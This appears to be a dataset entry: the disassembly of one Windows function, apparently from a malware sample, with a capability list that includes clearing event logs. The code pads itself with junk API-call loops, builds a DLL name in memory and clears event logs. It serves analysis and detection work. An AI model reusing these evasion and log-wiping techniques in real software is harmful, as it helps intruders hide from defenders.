Function at 0x425250
Capabilities:
Access the windows event log
Clear windows event logs
Copy file
Delete file
Get common file path
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Receive http response
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4264dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2700
call fcn.00412980
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdb4
jge 0x42529f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x7afce4], 0x6fb
jne 0x4252b7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa00
jle 0x4252cf
cmp ebx, 0xc10c66
je 0x4252cf
cmp ebp, 0x952d5ac
jne 0x4252d8
inc esi
cmp esi, 0x80c48
jl 0x42528d
cmp dword [0x7afce4], 0xcf8
jne 0x42548b
lea eax, [esp + 0xd4]
push eax
push 0
push 0x403f90
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7afce4], 0x3a
jne 0x425327
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea ecx, [esp + 0x1d0]
push ecx
push 0
push 0x403fc8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ebp, ebp
push ebp
call fcn.0040761d
add esp, 4
push ebp
push ebp
call fcn.004074e1
add esp, 8
lea edx, [esp + 0x30]
push edx
call fcn.004056c0
push ebp
push ebp
call fcn.004075dd
push ebp
push ebp
call fcn.004075dd
push ebp
call fcn.004076f1
add esp, 0x14
push ebp
call fcn.004077d7
mov ecx, dword [esp + 0x34]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x8c]
add esp, 4
mov dword [esp + 0x14], eax
mov dword [esp + edx + 0x30], 0x40427c
mov dword [esp + 0x271c], ebp
test byte [esp + 0x80], 1
lea eax, [esp + 0x40]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x40], 0x40423c
je 0x4253b0
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx]
push eax
call fcn.004076e6
add esp, 4
mov edx, dword [esp + 0x50]
mov dword [edx], ebp
mov eax, dword [esp + 0x60]
mov dword [eax], ebp
mov ecx, dword [esp + 0x70]
mov dword [ecx], ebp
mov edx, dword [esp + 0x54]
mov dword [edx], ebp
mov eax, dword [esp + 0x64]
mov dword [eax], ebp
mov ecx, dword [esp + 0x74]
mov dword [ecx], ebp
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x40], 0x4041f4
mov byte [esp + 0x271c], 1
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, ebp
je 0x425445
mov edi, dword [eax]
cmp edi, ebp
je 0x42543c
push ebp
lea ecx, [esp + 0x1c]
call fcn.00406b52
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x42541a
cmp eax, 0xffffffff
jae 0x42541a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.00406b7a
cmp esi, ebp
je 0x42543c
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebx
call fcn.004076e6
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x271c], 0
call fcn.00406bab
mov dword [esp + 0x271c], 0xffffffff
mov ecx, dword [esp + 0x30]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x88]
mov dword [esp + edx + 0x30], 0x404234
push eax
mov dword [esp + 0x8c], 0x4041e4
call fcn.0040675e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x408
jne 0x4254a6
mov eax, 0x5d1
add dword [0x7afce4], eax
cmp dword [0x7afce4], 3
jne 0x4254d6
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
push 0x40400c
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
push 0
lea edx, [esp + 0x718]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
inc esi
cmp esi, 0x1518d4
jl 0x425493
mov eax, dword [0x7afce4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x430d34], eax
mov eax, dword [0x7afce4]
xor esi, esi
test eax, eax
je 0x42554c
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea esp, [esp]
cmp eax, 0xfe
jne 0x425523
push 0
lea ecx, [esp + 0x714]
push ecx
call ebx
call fcn.00424e50
mov eax, dword [0x7afce4]
cmp eax, 0x29
jne 0x425547
push 0
push 0
lea edx, [esp + 0x1d8]
push edx
push 0
call edi
mov eax, dword [0x7afce4]
inc esi
cmp esi, eax
jb 0x425510
cmp eax, 0x70
jne 0x425641
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x404024
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x710]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x1f14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea edx, [esp + 0x1d4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea eax, [esp + 0x1718]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call esi
push 0
lea ecx, [esp + 0xf14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
mov eax, dword [0x7afce4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 0xdf
jne 0x42577e
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebp
xor edx, edx
lea ecx, [esp + 0x1c]
push ecx
push edx
push edx
lea eax, [esp + 0xf1c]
push eax
push edx
mov dword [esp + 0x28], edx
call ebx
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x404038
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
push 0x40408c
push 0x4040b8
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea ecx, [esp + 0x1714]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea edx, [esp + 0xe0]
push edx
push 0x404130
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea eax, [esp + 0x1d0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [0x7afce4]
dec dword [esp + 0x18]
jne 0x425661
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x425793
mov byte [0x42bfa0], 0
call fcn.00424d60
call fcn.00425090
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esp, [esp]
cmp dword [0x7afce4], 0xba
jne 0x4257d2
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4257e5
mov eax, 0x4dc8
add dword [0x430d34], eax
inc esi
cmp esi, 0x1605a
jl 0x4257c0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, 0x1e6dcb
nop
cmp dword [0x7afce4], 0x85
jne 0x42581a
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x425800
push 0x42bfa0
mov dword [0x42bfa2], 0x33676d69
mov word [0x42bfa0], 0x736d
mov dword [0x42bfa8], 0x6c6c64
mov word [0x42bfa6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7afce4], 0xc30
jne 0x42590b
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x5d0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
lea eax, [esp + 0x1dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404140
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
lea ecx, [esp + 0xf14]
push ecx
push 0x404168
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea eax, [esp + 0x714]
push eax
push 0x4041b8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x20]
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2714]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret